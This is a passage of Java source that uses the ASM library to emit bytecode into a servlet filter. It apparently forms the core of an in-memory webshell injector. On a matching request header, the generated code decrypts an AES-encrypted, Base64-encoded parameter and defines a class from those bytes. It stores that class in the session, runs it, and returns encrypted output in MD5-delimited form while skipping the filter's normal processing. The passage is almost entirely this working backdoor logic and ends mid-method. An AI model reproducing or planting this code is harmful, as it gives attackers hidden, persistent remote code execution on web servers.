mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
Label ifNullLabel = new Label();
mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel);
mv.visitVarInsn(Opcodes.ALOAD, curHeaderIndex); // Load value
mv.visitVarInsn(Opcodes.ALOAD, headerValueIndex); // Load headerValue
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "contains",
"(Ljava/lang/CharSequence;)Z", false);
mv.visitJumpInsn(Opcodes.IFEQ, ifNullLabel);
getParameterValue(requestIndex, passIndex, curParameterIndex);
// Declare data variable
mv.visitInsn(Opcodes.ACONST_NULL);
mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store null in data (local var 10)
tryDecodeBase64(base64ClassIndex, decoderClassIndex, curParameterIndex, dataIndex, base64ExceptionIndex);
decryptData(cipherClassIndex, secretKeySpecClassIndex, keyClassIndex, cipherInitMethodIndex, doFinalMethodIndex, cipherIndex, keyIndex, secretKeySpecIndex, dataIndex);
getSessionPayload(requestIndex, sessionIndex, sessionPayloadIndex);
// if (sessionPayload == null)
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
Label sessionPayloadNotNull = new Label();
mv.visitJumpInsn(Opcodes.IFNONNULL, sessionPayloadNotNull);
defineClassWhenFirstInvoke(defineClassIndex, dataIndex, payloadClassIndex, sessionIndex);
// Else branch - sessionPayload is not null
mv.visitLabel(sessionPayloadNotNull);
// request.getClass().getMethod("setAttribute", String.class, Object.class)
// .invoke(request, "parameters", data);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("setAttribute");
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("parameters");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
mv.visitTypeInsn(Opcodes.NEW, "java/io/ByteArrayOutputStream");
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/ByteArrayOutputStream",
"<init>", "()V", false);
mv.visitVarInsn(Opcodes.ASTORE, arrOutIndex); // Store arrOut in local var 25
// Object f = ((Class<?>) sessionPayload).newInstance();
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
"()Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, instanceIndex); // Store f in local var 26
// f.equals(arrOut);
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
"(Ljava/lang/Object;)Z", false);
mv.visitInsn(Opcodes.POP); // Discard result
// f.equals(request);
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
"(Ljava/lang/Object;)Z", false);
mv.visitInsn(Opcodes.POP); // Discard result
// PrintWriter writer = (PrintWriter)
// response.getClass().getMethod("getWriter").invoke(response);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getWriter");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/PrintWriter");
mv.visitVarInsn(Opcodes.ASTORE, writerIndex); // Store writer in local var 27
// writer.write(md5.substring(0, 16));
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
mv.visitInsn(Opcodes.ICONST_0);
mv.visitIntInsn(Opcodes.BIPUSH, 16);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
"(II)Ljava/lang/String;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
"(Ljava/lang/String;)V", false);
// f.toString();
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "toString",
"()Ljava/lang/String;", false);
mv.visitInsn(Opcodes.POP); // Discard result
// Re-initialize cipher for encryption
// cipherInitMethod.invoke(cipher, 1, secretKeySpec);
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load cipherInitMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_1); // Constant 1 for Cipher.ENCRYPT_MODE
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher,
// arrOut.toByteArray());
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/ByteArrayOutputStream",
"toByteArray", "()[B", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, encryptBytesIndex); // Store encryptBytes in local var 28
tryEncodeBase64(base64ClassIndex, encoderClassIndex, encryptBytesIndex, resultIndex, base64EncodeExceptionIndex);
// writer.write(result);
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
mv.visitVarInsn(Opcodes.ALOAD, resultIndex); // Load result
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
"(Ljava/lang/String;)V", false);
// writer.write(md5.substring(16));
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
mv.visitIntInsn(Opcodes.BIPUSH, 16);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
"(I)Ljava/lang/String;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
"(Ljava/lang/String;)V", false);
// Return from the method without calling original doFilter
mv.visitInsn(Opcodes.RETURN);
// Label for when header value doesn't match
mv.visitLabel(ifNullLabel);
// End of try block
mv.visitLabel(tryEnd);
// Skip catch block if we didn't enter it
Label afterCatch = new Label();
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, outerExceptionIndex); // Store exception in local var 10 and discard it
mv.visitVarInsn(Opcodes.ALOAD, outerExceptionIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
// End of catch block
mv.visitLabel(afterCatch);
}
private void tryEncodeBase64(int base64ClassIndex, int encoderClassIndex, int encryptBytesIndex, int resultIndex, int base64EncodeExceptionIndex) {
// Encoding encrypted bytes with Base64
// Try first with java.util.Base64
Label base64EncodeTrialStart = new Label();
Label base64EncodeCatch = new Label();
Label afterBase64Encode = new Label();
mv.visitTryCatchBlock(base64EncodeTrialStart, afterBase64Encode, base64EncodeCatch, "java/lang/Exception");
mv.visitLabel(base64EncodeTrialStart);
// base64 = Class.forName("java.util.Base64");
mv.visitLdcInsn("java.util.Base64");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;)Ljava/lang/Class;",
false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
// Object encoder = base64.getMethod("getEncoder").invoke(base64);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitLdcInsn("getEncoder");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
// result = (String) encoder.getClass().getMethod("encodeToString",
// byte[].class).invoke(encoder, encryptBytes);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("encodeToString");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Encode);
// Fallback to sun.misc.BASE64Encoder
mv.visitLabel(base64EncodeCatch);
mv.visitVarInsn(Opcodes.ASTORE, base64EncodeExceptionIndex); // Store exception in local var 32
// base64 = Class.forName("sun.misc.BASE64Encoder");
mv.visitLdcInsn("sun.misc.BASE64Encoder");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;)Ljava/lang/Class;",
false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
// Object encoder = base64.newInstance();
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
"()Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
// result = (String) encoder.getClass().getMethod("encode",
// byte[].class).invoke(encoder, encryptBytes);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("encode");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
mv.visitLabel(afterBase64Encode);
}
private void defineClassWhenFirstInvoke(int defineClassIndex, int dataIndex, int payloadClassIndex, int sessionIndex) {
// Define class from bytes
// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
// byte[].class, int.class, int.class);
mv.visitLdcInsn(Type.getType("Ljava/lang/ClassLoader;"));
mv.visitLdcInsn("defineClass");
mv.visitInsn(Opcodes.ICONST_3);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
"Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_2);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
"Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class",
"getDeclaredMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ASTORE, defineClassIndex); // Store defineClass in local var 23
// defineClass.setAccessible(true);
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"setAccessible", "(Z)V", false);
// Class<?> payload = (Class<?>)
// defineClass.invoke(Thread.currentThread().getContextClassLoader(),
// data, 0, data.length);
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread",
"()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread",
"getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitInsn(Opcodes.ICONST_3);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_2);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.ARRAYLENGTH);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, payloadClassIndex); // Store payload class in local var 24
// session.getClass().getMethod("setAttribute", String.class, Object.class)
// .invoke(session, "payload", payload);
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("setAttribute");
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("payload");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, payloadClassIndex); // Load payload class
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// If first-time class loading - return true
mv.visitInsn(Opcodes.RETURN);
}
private void getSessionPayload(int requestIndex, int sessionIndex, int sessionPayloadIndex) {
// Get session
// Object session =
// request.getClass().getMethod("getSession").invoke(request);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getSession");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, sessionIndex); // Store session in local var 21
// Get sessionPayload
// Object sessionPayload = session.getClass().getMethod("getAttribute",
// String.class)
// .invoke(session, "payload");
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getAttribute");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("payload");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, sessionPayloadIndex); // Store sessionPayload in local var 22
}
private void decryptData(int cipherClassIndex, int secretKeySpecClassIndex, int keyClassIndex, int cipherInitMethodIndex, int doFinalMethodIndex, int cipherIndex, int keyIndex, int secretKeySpecIndex, int dataIndex) {
// Load crypto classes
// Class<?> cipherClass = Class.forName("javax.crypto.Cipher"...
mv.visitLdcInsn("javax.crypto.Cipher");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, cipherClassIndex); // Store cipherClass in local var 14
// Class<?> secretKeySpecClass =
// Class.forName("javax.crypto.spec.SecretKeySpec"...
mv.visitLdcInsn("javax.crypto.spec.SecretKeySpec");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecClassIndex); // Store secretKeySpecClass in local var 15
// Class<?> keyClass = Class.forName("java.security.Key"...
mv.visitLdcInsn("java.security.Key");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, keyClassIndex); // Store keyClass in local var 16
// Get cipher methods
// Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitLdcInsn("init");
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, keyClassIndex); // Load keyClass
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ASTORE, cipherInitMethodIndex); // Store cipherInitMethod in local var 17
// Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitLdcInsn("doFinal");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ASTORE, doFinalMethodIndex); // Store doFinalMethod in local var 18
// Create cipher and secret key
// Object cipher = cipherClass.getMethod("getInstance",
// String.class).invoke(cipherClass, "AES");
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitLdcInsn("getInstance");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("AES");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, cipherIndex); // Store cipher in local var 19
// Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class,
// String.class)
// .newInstance(key.getBytes(), "AES");
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecClassIndex); // 加载 secretKeySpecClass
mv.visitInsn(Opcodes.ICONST_2); // 构造函数参数数量为 2
